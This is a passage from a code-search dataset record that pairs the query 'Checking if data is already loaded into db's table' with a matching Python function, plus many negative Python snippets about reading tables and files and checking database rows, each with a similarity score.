f\\\"{BQ_PARAMS['DEV_PROJECT']}.{BQ_PARAMS['META_DATASET']}.{case_aliquot_table_name}\\\"\\n\\n study_table_name = construct_table_name(API_PARAMS, prefix=get_prefix(API_PARAMS, API_PARAMS['STUDY_ENDPOINT']))\\n study_table_id = f\\\"{BQ_PARAMS['DEV_PROJECT']}.{BQ_PARAMS['META_DATASET']}.{study_table_name}\\\"\\n\\n case_external_mapping_prefix = get_prefix(API_PARAMS, API_PARAMS['CASE_EXTERNAL_MAP_ENDPOINT'])\\n case_ext_map_table_name = construct_table_name(API_PARAMS, prefix=case_external_mapping_prefix)\\n case_external_mapping_table_id = f\\\"{BQ_PARAMS['DEV_PROJECT']}.{BQ_PARAMS['META_DATASET']}.{case_ext_map_table_name}\\\"\\n\\n return case_aliquot_table_id, study_table_id, case_external_mapping_table_id\",\n \"def parse_file(file):\\n for line in open(file,'r'):\\n line = line.strip()\\n token = line.split('\\\\t')\\n ### loop through ids in second column and print with first columns \\n for item in token[1].split(','):\\n print item+'\\\\t'+token[0]\",\n \"def parse_docs(filename):\\n \\n # open word doc\\n word = win32.gencache.EnsureDispatch('Word.Application')\\n doc = word.Documents.Open(os.getcwd() + '/' + filename + \\\".doc\\\")\\n doc.Activate()\\n \\n # read word doc as list of lists\\n data = [doc.Tables(i).Range.Text for i in range(1,5)]\\n data = ''.join(data)\\n data = data.replace('\\\\r\\\\x07\\\\r\\\\x07', ', ')\\n data = data.replace('\\\\r\\\\x07', ', ')\\n data = data.split(\\\", \\\")\\n \\n # separate columns into lists\\n varname = data[0::4]\\n description = data[1::4]\\n valuelineref = data[2::4]\\n type = data[3::4]\\n\\n # create pandas dataframe and clean up\\n df = pd.DataFrame(list(zip(varname, description, valuelineref, type)))\\n doc.Close(True) # is this a function?\\n headers = df.iloc[0]\\n df = df[1:]\\n df.columns = headers\\n df['Variable Name'] = df['Variable Name'].str.replace('\\\\r','')\\n \\n # store as csv\\n df.to_csv(filename + '.csv', index = False)\\n return df\",\n \"def _get_table_sql(object_id, tab_name, columns=[], rerun='s16a_wide2', save_sql=False, fn_sql='hsc_sql.txt', ):\\n\\tlocalpath = _get_local_path()\\n\\n\\tfn = localpath + fn_table_template_sql\\n\\tsql_columns = _get_table_sql_columns(columns=columns)\\n\\n\\twith open(fn, 'r') as f:\\n\\t\\tsql_template = f.read()\\n\\tsql = sql_template.format(object_id=object_id, tab_name=tab_name, sql_columns=sql_columns, rerun=rerun, )\\n\\n\\tif save_sql:\\n\\t\\twith open(fn_sql, \\\"w\\\") as text_file:\\n\\t\\t\\ttext_file.write(sql)\\n\\n\\treturn sql\",\n \"def _extract_file_entity_metadata(syn, allFiles):\\n keys = list(DEFAULT_GENERATED_MANIFEST_KEYS)\\n annotKeys = set()\\n data = []\\n for entity in allFiles:\\n row = {'parent': entity['parentId'], 'path': entity.get(\\\"path\\\"), 'name': entity.name,\\n 'synapseStore': entity.synapseStore, 'contentType': entity['contentType']}\\n row.update({key: (val[0] if len(val) > 0 else \\\"\\\") for key, val in entity.annotations.items()})\\n\\n row.update(_get_file_entity_provenance_dict(syn, entity))\\n\\n annotKeys.update(set(entity.annotations.keys()))\\n\\n data.append(row)\\n keys.extend(annotKeys)\\n return keys, data\",\n \"def display_content_hashtable(self):\\n\\n file = open(\\\"../util/HashTable File\\\", \\\"r+\\\")\\n file.truncate(0)\\n file.close()\\n for i in range(0, len(self.objects_list)):\\n\\n if self.objects_list[i].display_content() != None:\\n lines = []\\n lines = self.objects_list[i].display_content()\\n file = open(\\\"../util/HashTable File\\\", \\\"a+\\\")\\n for j in lines:\\n file.write(str(j) + ' ')\\n\\n file.close()\\n\\n file = open(\\\"../util/HashTable File\\\", \\\"r\\\")\\n for i in file:\\n print(i)\",\n \"def read_docx_tables(filename, tab_id=None, **kwargs):\\n def read_docx_tab(tab, **kwargs):\\n vf = io.StringIO()\\n writer = csv.writer(vf)\\n for row in tab.rows:\\n writer.writerow(cell.text for cell in row.cells)\\n vf.seek(0)\\n return pd.read_csv(vf, **kwargs)\\n\\n doc = Document(filename)\\n if tab_id is None:\\n return [read_docx_tab(tab, **kwargs) for tab in doc.tables]\\n else:\\n try:\\n return read_docx_tab(doc.tables[tab_id], **kwargs)\\n except IndexError:\\n print('Error: specified [tab_id]: {} does not exist.'.format(tab_id))\\n raise\",\n \"def tables() -> dict[str, str]:\\n return {\\n \\\"land_use\\\": \\\"zone_id\\\",\\n \\\"tours\\\": \\\"tour_id\\\",\\n \\\"trips\\\": \\\"trip_id\\\",\\n \\\"persons\\\": \\\"person_id\\\",\\n \\\"households\\\": \\\"household_id\\\",\\n }\",\n \"def getModeLookupTable(self):\\n mode_table = []\\n header = None\\n for line in open(PublicTransit.MODE_LOOKUP_FILE_NAME):\\n line = line.strip()\\n if len(line) == 0: \\n continue\\n line = map(str.strip,line.split(\\\",\\\"))\\n if header is None:\\n header = line\\n #CPT_AGENCYID\\tAGENCYNAME\\tCPT_MODE\\tSCH_ROUTEDESIGNATOR\\tMODECODE\\tMODEGROUP\\n continue\\n data = {}\\n for i in range(len(line)):\\n data[header[i]] = line[i]\\n mode_table.append(data)\\n return mode_table\",\n \"def getColumnIndices(*args, filepath=\\\"CO2.tab\\\"):\\n # idxDict = {\\\"PT\\\": 0, \\\"TM\\\": 0, \\\"HG\\\": 0, \\\"SEG\\\": 0}\\n idxDict = {\\\"PT\\\": 0, \\\"TM\\\": 0, \\\"HG\\\": 0, \\\"VISG\\\": 0, \\\"VISHL\\\": 0, \\\"ROG\\\": 0, \\\"ROHL\\\": 0}\\n if filepath:\\n cols = tabLineToList(readFullLine(filepath, 52))\\n for key in idxDict:\\n idxDict[key] = cols.index(key)\\n return idxDict\",\n \"def loadTextEx(self, dbPath:str, tableName:str, partitionColumns:Optional[List[str]]=None, remoteFilePath:str=None, delimiter:str=\\\",\\\") -> Type[\\\"Table\\\"]:\\n if partitionColumns is None:\\n partitionColumns = []\\n isDBPath = True\\n if \\\"/\\\" in dbPath or \\\"\\\\\\\\\\\" in dbPath or \\\"dfs://\\\" in dbPath:\\n dbstr ='db=database(\\\"' + dbPath + '\\\")'\\n self.run(dbstr)\\n tbl_str = '{tableNameNEW} = loadTextEx(db, \\\"{tableName}\\\", {partitionColumns}, \\\"{remoteFilePath}\\\", {delimiter})'\\n else:\\n isDBPath = False\\n tbl_str = '{tableNameNEW} = loadTextEx('+dbPath+', \\\"{tableName}\\\", {partitionColumns}, \\\"{remoteFilePath}\\\", {delimiter})'\\n fmtDict = dict()\\n fmtDict['tableNameNEW'] = _generate_tablename()\\n fmtDict['tableName'] = tableName\\n fmtDict['partitionColumns'] = str(partitionColumns)\\n fmtDict['remoteFilePath'] = remoteFilePath if remoteFilePath is not None else \\\"\\\"\\n fmtDict['delimiter'] = delimiter\\n # tbl_str = tableName+'=loadTextEx(db,\\\"' + tableName + '\\\",'+ str(partitionColumns) +',\\\"'+ remoteFilePath+\\\"\\\\\\\",'\\\"+delimiter+\\\"')\\\"\\n tbl_str = re.sub(' +', ' ', tbl_str.format(**fmtDict).strip())\\n self.run(tbl_str)\\n if isDBPath:\\n return Table(data=fmtDict['tableName'] , dbPath=dbPath, s=self)\\n else:\\n return Table(data=fmtDict['tableNameNEW'], s=self)\",\n \"def get_mapping_table_ids():\\n dev_meta_dataset = f\\\"{BQ_PARAMS['DEV_PROJECT']}.{BQ_PARAMS['META_DATASET']}\\\"\\n prod_meta_dataset = f\\\"{BQ_PARAMS['PROD_PROJECT']}.{BQ_PARAMS['PUBLIC_META_DATASET']}\\\"\\n\\n file_metadata_table_name = f\\\"{BQ_PARAMS['FILE_METADATA_TABLE']}_{API_PARAMS['RELEASE']}\\\"\\n file_metadata_table_id = f\\\"{prod_meta_dataset}.{file_metadata_table_name}\\\"\\n\\n case_metadata_table_name = f\\\"{BQ_PARAMS['CASE_METADATA_TABLE']}_{API_PARAMS['RELEASE']}\\\"\\n case_metadata_table_id = f\\\"{prod_meta_dataset}.{case_metadata_table_name}\\\"\\n\\n file_assoc_table_name = f\\\"{BQ_PARAMS['FILE_ASSOC_MAPPING_TABLE']}_{API_PARAMS['RELEASE']}\\\"\\n file_assoc_table_id = f\\\"{prod_meta_dataset}.{file_assoc_table_name}\\\"\\n\\n aliquot_table_name = f\\\"{BQ_PARAMS['ALIQUOT_TO_CASE_TABLE']}_{API_PARAMS['RELEASE']}\\\"\\n aliquot_table_id = f\\\"{prod_meta_dataset}.{aliquot_table_name}\\\"\\n\\n # todo switch to published table\\n study_table_name = construct_table_name(API_PARAMS, prefix=get_prefix(API_PARAMS, 'allPrograms'))\\n study_table_id = f\\\"{dev_meta_dataset}.{study_table_name}\\\"\\n\\n return file_metadata_table_id, case_metadata_table_id, file_assoc_table_id, aliquot_table_id, study_table_id\",\n \"def get_mapping():\\n \\n import pandas as pd\\n data = pd.read_csv('/home/yuheng/Downloads/ADE20K_2016_07_26/objectInfo150.txt',sep='\\\\t',lineterminator='\\\\n') \\n mapping = {}\\n for i in range(150):\\n line = data.loc[i]\\n mapping[ int(line['Idx']) ] = line['Name']\\n \\n return mapping\",\n \"def linenames():\\n linenamesdic = {}\\n\\n linenamesdic['ovi1'] = ['OVI $\\\\\\\\lambda$1032' , 1031.9261, 'right' , 'Morton1991tab2']\\n linenamesdic['ovi2'] = ['OVI $\\\\\\\\lambda$1038' , 1037.6167, 'left' , 'Morton1991tab2']\\n linenamesdic['lyb'] = ['Ly$\\\\\\\\beta$ $\\\\\\\\lambda$1025' , 1025.7219, 'right' , 'Morton1991tab5']\\n linenamesdic['lya'] = ['Ly$\\\\\\\\alpha$ $\\\\\\\\lambda$1216' , 1215.6737, 'right' , 'Morton1991tab5']\\n linenamesdic[ 'NV1240'] = ['NV $\\\\\\\\lambda$1239' , 1238.821 , 'right' , 'Morton1991tab5']\\n linenamesdic['nv2'] = ['NV $\\\\\\\\lambda$1243' , 1242.804 , 'left' , 'Morton1991tab5']\\n linenamesdic['cii'] = ['CII $\\\\\\\\lambda$1336' , 1335.6627, 'right' , 'Morton1991tab5']\\n linenamesdic['Siiv1'] = ['SiIV $\\\\\\\\lambda$1394' , 1393.755 , 'right' , 'Morton1991tab5']\\n linenamesdic['oiv1'] = ['OIV $\\\\\\\\lambda$1397' , 1397.232 , 'right' , 'Morton1991tab5']\\n linenamesdic['oiv2'] = ['OIV $\\\\\\\\lambda$1400' , 1399.780 , 'left' , 'Morton1991tab5']\\n linenamesdic['Siiv2'] = ['SiIV $\\\\\\\\lambda$1403' , 1402.770 , 'left' , 'Morton1991tab5']\\n linenamesdic['CIV1548'] = ['CIV $\\\\\\\\lambda$1548' , 1548.195 , 'right' , 'Morton1991tab5']\\n linenamesdic['CIV1551'] = ['CIV $\\\\\\\\lambda$1551' , 1550.770 , 'left' , 'Morton1991tab5']\\n linenamesdic['HeII1640'] = ['HeII $\\\\\\\\lambda$1640' , 1640.420 , 'right' , 'vandenberk+2001']\\n linenamesdic['OIII1661'] = ['OIII] $\\\\\\\\lambda$1661' , 1660.809 , 'right' , 'Morton1991tab2']\\n linenamesdic['OIII1666'] = ['OIII] $\\\\\\\\lambda$1666' , 1666.150 , 'left' , 'Morton1991tab2']\\n linenamesdic['ciii1'] = ['[CIII] $\\\\\\\\lambda$1907' , 1907. , 'right' , 'stark+2015']\\n linenamesdic['CIII1908'] = ['CIII] $\\\\\\\\lambda$1909' , 1909. , 'left' , 'stark+2015']\\n linenamesdic['ciib'] = ['CII] $\\\\\\\\lambda$2326' , 2326.113 , 'right' , 'Morton1991tab5']\\n linenamesdic['mgii1'] = ['MgII] $\\\\\\\\lambda$2796' , 2795.528 , 'right' , 'Morton1991tab5']\\n linenamesdic['mgii2'] = ['MgII] $\\\\\\\\lambda$2803' , 2802.705 , 'left' , 'Morton1991tab5']\\n linenamesdic['OII3727'] = ['[OII] $\\\\\\\\lambda$3726' , 3726. , 'right' , 'Pradhan2006']\\n linenamesdic['oii2'] = ['[OII] $\\\\\\\\lambda$3729' , 3729. , 'left' , 'Pradhan2006']\\n\\n return linenamesdic\",\n \"def tables(self):\\n if self.table is None:\\n raise GiraffeError(\\\"Target table has not been set.\\\")\\n return [\\n \\\"{}_wt\\\".format(self.table),\\n \\\"{}_log\\\".format(self.table),\\n \\\"{}_e1\\\".format(self.table),\\n \\\"{}_e2\\\".format(self.table),\\n ]\",\n \"def _read_table(hdulist, extname, **kwargs):\\n t = _read_ext(Table, hdulist, extname, **kwargs)\\n h = hdulist[extname].header\\n for i in range(h['TFIELDS']):\\n try:\\n t.columns[i].unit = h['TUNIT%d' % (i + 1)]\\n except Exception:\\n pass\\n return t\",\n \"def _get_references_data(wit_path):\\n\\n with open(os.path.join(wit_path, '.wit', 'references.txt'), 'r') as data:\\n info = {'None': 'None'}\\n info.update({'HEAD': data.readline().split('=')[-1].strip('\\\\n')})\\n info.update({'master': data.readline().split('=')[-1].strip('\\\\n')})\\n for row in data.readlines():\\n name, commit_id = row.split('=')\\n info.update({name.strip('\\\\n'): commit_id.strip('\\\\n')})\\n\\n return info\",\n \"def extractData():\\n for line in src:\\n line = str(line) # now each line is a string\\n line = line.rstrip()\\n if '%%' in line: #header\\n yield line\\n for desired in desStr:\\n if desired in line:\\n yield line\",\n \"def read_table(file, **kwargs):\\n extn = Reader.get_extension(file).lower()\\n if extn.startswith('.xls'):\\n return read_table_excel(file, **kwargs)\\n elif extn == '.gsheet':\\n if hasattr(file, 'as_posix'): # a pathlib.Path object\\n file = str(file)\\n elif hasattr(file, 'name'): # a TextIOWrapper object\\n file = file.name\\n return read_table_gsheets(file[:-7], **kwargs) # ignore the extension\\n else:\\n return read_table_text(file, **kwargs)\",\n \"def do_get_table(tpath):\\n table = provider.get_type_table(tpath)\\n try:\\n runs = run.split('-')\\n ass = provider.get_assignment(tpath, runs[0], var)\\n except:\\n print \\\"no entry found\\\"\\n return\\n sys.stdout.write(ass.constant_set.vault)\",\n \"def readtxt(obslog):\\n\\n logger = log.getLogger('obslog.readtxt')\\n\\n if not os.path.exists(obslog):\\n logger.error('Cannot access %s', obslog)\\n raise SystemExit\\n\\n logger.info('Reading %s', obslog)\\n\\n with open(obslog) as f: # Since we will have to go through the data twice, read the whole file at once.\\n data = f.readlines()\\n\\n header = ['Observation ID', 'Data Labels', 'File Numbers', 'Dataset UT', 'Target Name', 'Filters', 'Slit',\\n 'Grating/Wavelength', 'Camera/Prism', 'ExpTime/LNR/Coadds', 'ACQ']\\n\\n pattern = dict() # Enforce formatting rules to avoid parsing comments as data:\\n pattern['Observation ID'] = re.compile(r'^G[NS]-[0-9]{4}[AB]-([CQ]|DD|FT|LP|SV)-[0-9]{0,3}-[0-9]+$')\\n pattern['Data Labels'] = re.compile(r'[0-9]+-*[0-9]*') # 1, 2-3, 45-67, 890-1234\\n pattern['File Numbers'] = re.compile(r'[0-9]+-*[0-9]*') # 1, 2-3, 45-67, 890-1234\\n pattern['Dataset UT'] = re.compile(r'^[0-9]{2}:[0-9]{2}:[0-9]{2}$') # 09:58:15\\n pattern['Target Name'] = re.compile(r'[a-zA-Z0-9_-]+') # Match any string\\n pattern['Filters'] = re.compile(r'[A-Z0-9\\\\-]+') # H, XD, H2, X, J, H\\n pattern['Slit'] = re.compile(r'[a-zA-Z0-9]+') # 0.675, ACQ, LgPin\\n pattern['Grating/Wavelength'] = re.compile(r'[0-9]{2,3}/[0-9]\\\\.[0-9]{2}') # 32/1.65, 111/1.68\\n pattern['Camera/Prism'] = re.compile(r'[A-Z]{2}/[A-Z]{3}') # LB/MIR, SB/SXD\\n pattern['ExpTime/LNR/Coadds'] = re.compile(r'[0-9]+\\\\.[0-9]/[0-9]+/[0-9]+') # 0.2/1/25, 300.0/32/1\\n pattern['ACQ'] = re.compile(r'^Y*$') # Y or ''\\n\\n indx = {}\\n for line in data:\\n if 'Electronic Observing Log' in line:\\n date = line.split()[-1][7:]\\n logger.debug('Log date: %s', date)\\n if line[0:14] == 'Observation ID': # This defines the start of the header row\\n for h in header:\\n indx[h] = line.find(h) # Find where each column starts\\n break # No need to go farther\\n\\n width = {} # Find the width of each row\\n for i in range(len(header) - 1): # This requires that 'header' be an ordered array (not a dictionary)\\n width[header[i]] = indx[header[i + 1]] - indx[header[i]]\\n width[header[i+1]] = 1 # The ACQ field is either 'Y' or blank\\n\\n val = {}\\n match = {}\\n info = {}\\n for line in data:\\n logger.debug('\\\\n%s', line)\\n files = []\\n for h in header:\\n val[h] = line[indx[h]: indx[h] + width[h]].strip()\\n match[h] = re.match(pattern[h], val[h])\\n logger.debug('%s: \\\"%s\\\" %s' % (h, val[h], match[h]))\\n\\n # Maybe throw a warning if only match 1 fails; indicating a likely bad pattern specification?\\n\\n if None in match.values():\\n logger.debug('Failed to match all patterns -> This is a comment')\\n continue\\n\\n if '-' in val['File Numbers']:\\n start, stop = val['File Numbers'].split('-')\\n for i in range(int(start), int(stop)+1):\\n files.append(i)\\n else:\\n files.append(int(val['File Numbers']))\\n\\n for filenum in files:\\n f = 'N%sS%04d.fits' % (date, filenum)\\n logger.debug('File: %s', f)\\n info[f] = {}\\n for h in [header[0]] + header[3:]: # Skip 'Data Labels' and \\\"File Numbers'\\n info[f][h] = val[h]\\n\\n logger.debug('info: %s', info)\\n return info\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.6227015","0.56853586","0.5597648","0.5541076","0.54774153","0.5453966","0.53986174","0.5364839","0.53526664","0.5321016","0.5305525","0.5287184","0.5245256","0.5241831","0.5231992","0.5211202","0.5209902","0.52098477","0.51902837","0.51770276","0.51750827","0.51743466","0.5172167","0.51657087","0.5164982","0.51511765","0.5128337","0.512449","0.51163393","0.51043785","0.5091084","0.50868535","0.5075579","0.5071472","0.5061043","0.505249","0.50518715","0.5028067","0.5001033","0.49773446","0.49755836","0.49630302","0.49539056","0.4946798","0.49406868","0.49400005","0.49376464","0.49357465","0.49309906","0.49286553","0.49243888","0.49181598","0.49133763","0.4902104","0.4899743","0.4899171","0.48986733","0.48981726","0.4892828","0.4891996","0.48852548","0.48725945","0.48691824","0.4859083","0.48574197","0.48386118","0.4835181","0.48316985","0.48257476","0.48240688","0.48203793","0.48145717","0.4809278","0.48063973","0.48062542","0.48012578","0.4799805","0.4786155","0.478604","0.47822675","0.47726563","0.47696504","0.47673374","0.4767335","0.4764743","0.4762329","0.47617456","0.4761002","0.4760749","0.47593418","0.47580704","0.47568935","0.47504866","0.47413668","0.47292387","0.47264594","0.47175485","0.47138998","0.47138074","0.47088373"],"string":"[\n \"0.6227015\",\n \"0.56853586\",\n \"0.5597648\",\n \"0.5541076\",\n \"0.54774153\",\n \"0.5453966\",\n \"0.53986174\",\n \"0.5364839\",\n \"0.53526664\",\n \"0.5321016\",\n \"0.5305525\",\n \"0.5287184\",\n \"0.5245256\",\n \"0.5241831\",\n \"0.5231992\",\n \"0.5211202\",\n \"0.5209902\",\n \"0.52098477\",\n \"0.51902837\",\n \"0.51770276\",\n \"0.51750827\",\n \"0.51743466\",\n \"0.5172167\",\n \"0.51657087\",\n \"0.5164982\",\n \"0.51511765\",\n \"0.5128337\",\n \"0.512449\",\n \"0.51163393\",\n \"0.51043785\",\n \"0.5091084\",\n \"0.50868535\",\n \"0.5075579\",\n \"0.5071472\",\n \"0.5061043\",\n \"0.505249\",\n \"0.50518715\",\n \"0.5028067\",\n \"0.5001033\",\n \"0.49773446\",\n \"0.49755836\",\n \"0.49630302\",\n \"0.49539056\",\n \"0.4946798\",\n \"0.49406868\",\n \"0.49400005\",\n \"0.49376464\",\n \"0.49357465\",\n \"0.49309906\",\n \"0.49286553\",\n \"0.49243888\",\n \"0.49181598\",\n \"0.49133763\",\n \"0.4902104\",\n \"0.4899743\",\n \"0.4899171\",\n \"0.48986733\",\n \"0.48981726\",\n \"0.4892828\",\n \"0.4891996\",\n \"0.48852548\",\n \"0.48725945\",\n \"0.48691824\",\n \"0.4859083\",\n \"0.48574197\",\n \"0.48386118\",\n \"0.4835181\",\n \"0.48316985\",\n \"0.48257476\",\n \"0.48240688\",\n \"0.48203793\",\n \"0.48145717\",\n \"0.4809278\",\n \"0.48063973\",\n \"0.48062542\",\n \"0.48012578\",\n \"0.4799805\",\n \"0.4786155\",\n \"0.478604\",\n \"0.47822675\",\n \"0.47726563\",\n \"0.47696504\",\n \"0.47673374\",\n \"0.4767335\",\n \"0.4764743\",\n \"0.4762329\",\n \"0.47617456\",\n \"0.4761002\",\n \"0.4760749\",\n \"0.47593418\",\n \"0.47580704\",\n \"0.47568935\",\n \"0.47504866\",\n \"0.47413668\",\n \"0.47292387\",\n \"0.47264594\",\n \"0.47175485\",\n \"0.47138998\",\n \"0.47138074\",\n \"0.47088373\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.5998301"},"document_rank":{"kind":"string","value":"1"}}},{"rowIdx":82194,"cells":{"query":{"kind":"string","value":"(obj,) > boolean Checking if data is already loaded into db's table."},"document":{"kind":"string","value":"def check_if_row_already_loaded(self, row, file_name):\n\t\tquery = \"SELECT count(*) FROM \" + TABLE_NAME + \" WHERE GLOBALEVENTID = \" + \"'\" + row[0] + \"'\"\n\n\t\ttry:\t\t\t\n\t\t\t# print query\n\t\t\tcursor = self.connection.cursor()\n\t\t\texecuted_cur = cursor.execute(query)\n\n\t\t\tif executed_cur:\t\t\t\n\t\t\t\tresult_cur = cursor.fetchall()\n\t\t\t\tfor row in result_cur:\n\t\t\t\t\tif int(row[0]) > 0:\n\t\t\t\t\t\treturn True\n\t\t\telse:\n\t\t\t\tprint \"[e] Something wrong with execution.\"\n\t\texcept Exception, e:\n\t\t\tprint '[e] Exeption: %s while processing \"%s\" file in method %s' % \\\n (str(e), DATA_DIRECTORY + '/' + file_name, \"check_if_row_already_loaded\")\n\t\t\tprint '\\t[q] Query that caused exception \\n %s' % (query)\n\n\n\t\treturn False"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def data_loaded_check(self):\n return True","def db_has_object(rep_cursor, sql, query_args):\n rep_cursor.execute(sql, query_args)\n if rep_cursor.rowcount == 0:\n return False\n return True","def _exists (self):\n cursor = self._exec (self.select)\n return bool (cursor.fetchall ())","def _check_row_exists(self, pk):\n session = self.session_factory()\n exists = session.query(PipelineRun).filter_by(id=pk).first()\n session.close()\n if exists:\n return True\n return False","def _exists(cursor, table, data):\n cursor.execute('SELECT 1 FROM {} WHERE ({}) = ({})'.format(table, *_query_fields(data)), data)\n return bool(cursor.fetchone())","def exists(self):\n self.cursor.execute(f\"\"\"\n SELECT 1\n FROM {self.table_name}\n WHERE {self.lookup_type}='{self.word}'\n \"\"\")\n return True if self.cursor.fetchone() else False","def exist_import_record(session, start_knowledge_table, end_knowledge_table, start_row_id, start_row_name):\n\n try:\n team = session.query(KnowledgeTableColumnMapRecord).filter_by(start_table_id=start_knowledge_table.id,\n end_table_id=end_knowledge_table.id,\n start_row_id=start_row_id,\n start_row_name=start_row_name).first()\n if team:\n return True\n else:\n return False\n except Exception:\n traceback.print_exc()\n return False","def exist(self):","def exist_import_record(session, start_knowledge_table, end_knowledge_table, start_row_id):\n\n try:\n team = session.query(KnowledgeTableRowMapRecord).filter_by(start_table_id=start_knowledge_table.id,\n end_table_id=end_knowledge_table.id,\n start_row_id=start_row_id).first()\n if team:\n return True\n else:\n return False\n except Exception:\n # traceback.print_exc()\n return False","def check(self):\n self.conn = psycopg2.connect(self.conn_string)\n self.cur = self.conn.cursor(\"rifflecursor\")\n self.cur.execute(\"\"\"\n SELECT * FROM yelp_stored WHERE business_id = %s;\n \"\"\", (self.bus_id,))\n sql_tup = self.cur.fetchall()\n self.conn.close()\n if sql_tup == []:\n return False\n else:\n return sql_tup","def table_is_empty(self):\n check_query = QSqlQuery(self.reader_connection)\n query = f'SELECT * FROM {self.table_name}'\n check_query.exec(query)\n empty_table = check_query.first()\n check_query.finish()\n return not empty_table","def isExist(data):\n return True/False","def __contains__(self, obj):\n if isinstance(obj, self):\n query = self.where(**obj.data).select()\n result = query.execute()\n if result.count:\n return True\n return False","def tableExists(self):\n return self.entity in self.db.table_list().run(self.r)","def exists(self, table, cursor):\n cursor.execute(f\"SELECT name FROM sqlite_master WHERE type='table' AND name='{table}'\")\n res = cursor.fetchone()\n return True if res else False","def table_exists(self):\n # Check if table already exists\n self._cursor.execute(\"SELECT count(name) FROM sqlite_master WHERE \\\n type='table' AND name='{}'\".format(self._name))\n\n if self._cursor.fetchone()[FIRST_ROW] == SINGLE_RECORD:\n table_exists = True\n else:\n table_exists = False\n\n logging.debug('Table exists? : {}'.format(table_exists))\n return table_exists","def exists_in_db(self) -> bool:\n query = '''SELECT * \n FROM ESLReceipts \n WHERE Transaction_Number=? AND Date=? AND Description=? \n AND Memo=? AND Amount_Debit=? \n AND Amount_Credit=? AND Balance=? \n AND Check_Number=? AND Fees=? \n AND Card_Type=? AND Is_Payment=? \n AND Is_Transaction=? AND User_id=?;'''\n return len(self.db.fetchall(query, values=self.to_tuple())) > 0","def initDataBase():\n if len(Elems):\n if not addElem2Specie():\n return False\n return True","def table_contains_elements(self, model):\n if model.objects.count() > 1:\n return True\n return False","def db_exists(self, db):\n # HDF5 is file based\n return os.path.isfile(db)","def exist_import_record(session, kg_table_id, kg_table_primary_key):\n\n try:\n team = session.query(DocumentSourceRecord).filter_by(kg_table_id=kg_table_id,\n kg_table_primary_key=kg_table_primary_key).first()\n if team:\n return True\n else:\n return False\n except Exception:\n traceback.print_exc()\n return False","def memory_table_ready():\n global prev_memory_table\n memory_table = get_memory_table()\n is_ready = memory_table[\"group\"] != prev_memory_table\n prev_memory_table = memory_table[\"group\"]\n return is_ready","def is_init(self):\n cur = self.connection.cursor()\n masterdata = list(cur.execute(\n 'SELECT * FROM sqlite_master WHERE name=\"metadata\"'\n ))\n if len(masterdata) == 0:\n return False\n schema_version = list(cur.execute(\n 'SELECT value FROM metadata ' +\n 'WHERE key=\"schema_version\"'\n ))\n if len(schema_version) > 0 and \\\n schema_version[0][0] == self.schema_version:\n return True\n return False","def is_valid_row(self):\r\n return self.valid_row","def has_table(self, name: str) -> bool:\n try:\n self.execute(\"select * from {table} limit 1\", name)\n return True\n except sqlite3.OperationalError:\n return False","def db_status_ok():\n for Model in apps.get_models():\n table_name = Model._meta.db_table\n if not db_table_exists(table_name):\n return False\n return True","def persisted(self):\n return True if self._data else False","def is_loaded(self):\n return self.wallet_data is not None","def is_populated(self):\n return len(self.__entries) > 0","def checkTable(self, in_table_name):\n phrase1 = \"SELECT count(*) FROM sqlite_master\"\n phrase2 = \"type='table' AND name='{}';\".format(in_table_name)\n self.cursor.execute(\"{} WHERE {}\".format(phrase1, phrase2))\n return self.cursor.fetchone()[0] == 1","def exists(self):\r\n try:\r\n self.refresh()\r\n except:\r\n return False\r\n return True","def __call__(self):\n try:\n _ = self.engine.table_names()\n except OperationalError:\n return False\n else:\n return True","def is_todo_table_empty(self):\n cur = self.conn.execute(\"\"\"SELECT COUNT(*) FROM todo;\"\"\")\n if cur != None:\n row = cur.fetchone()\n if row[0] == 0:\n return True\n else:\n return False\n print(\"is_todo_table_empty: table does not exist\")","def check_table(cur, table: str) -> bool:\n table_data = cur.execute(f\"\"\"\n SELECT name \n FROM sqlite_master \n WHERE type='table' \n AND name='{table}'\n \"\"\")\n table_fetch = table_data.fetchall()\n if table_fetch:\n return True\n return False","def check_data(cls, database, data):\n if not data:\n abort(204, 'No data received')\n entity = {}\n try:\n entity = loads(data)\n except:\n print \"erreur chargement json %s\" % (data,)\n abort(404, 'Error on loading data')\n mapper = inspect(database)\n orm_data = {}\n for column in mapper.attrs:\n if isinstance(column, ColumnProperty) and \\\n not column.columns[0].nullable and \\\n not column.columns[0].foreign_keys and \\\n not column.columns[0].primary_key:\n orm_data[column.key] = column.columns[0].nullable\n else:\n pass\n for field in orm_data.iterkeys():\n if entity.has_key(field):\n #del(orm_data[column])\n pass\n else:\n return False\n return entity","def db_exists(self):\n \n with self.connection:\n c = self.connection.cursor()\n c.execute(\"SELECT EXISTS(SELECT 1 FROM sqlite_master WHERE name=?)\", [PUBLICATIONS_TABLE])\n exists = c.fetchone()\n if(exists[0] == 1):\n return True\n else:\n return False","def _has_data(cls):\n return User.objects.count() > 0","def table_exists(self, mode):\n\n try:\n ref = self._get_table_obj(mode=mode)\n except google.api_core.exceptions.NotFound:\n ref = None\n\n return bool(ref)","def exist_import_record(session, doc_id):\n try:\n team = session.query(DocumentSentenceText).filter_by(doc_id=doc_id).first()\n if team:\n return True\n else:\n return False\n except Exception:\n traceback.print_exc()\n return False","def is_existing(self):\n return self.backend.is_existing","def can_insert(data):\n return hasattr(data, 'read')","def _object_exists(name):\n conn = sqlite3.connect('/dev/input')\n try:\n cur = conn.cursor()\n sql = 'SELECT ROWID FROM object WHERE name=? AND deleted=0'\n cur.execute(sql, (name, ))\n result = cur.fetchall()\n return len(result) > 0\n finally:\n conn.close()","def _check_para(self):\n if not self._check_table(\"Para\"):\n cur = self.conn.cursor()\n sql = \"create table if not exists Para(ksxq datetime,A integer, B byte);\"\n cur.execute(sql)\n init_time = datetime.strptime('3/1/04', \"%m/%d/%y\").strftime('%m/%d/%y %H:%M:%S')\n sql = \"insert into Para values ('{}', 0, 0);\".format(init_time)\n cur.execute(sql)\n cur.close()\n self.conn.commit()\n return True","def check_db(self):\n self.cursor.execute(\"\"\"PRAGMA table_info( birthday );\"\"\")\n if not self.cursor.fetchone():\n self.create_tables()","def table_exist(self, table: str) -> bool:\n table_name = (table,)\n self.c.execute('''SELECT count(name) FROM sqlite_master WHERE type='table' AND name=?''', table_name)\n\n if self.c.fetchone()[0] == 1:\n return True\n else:\n return 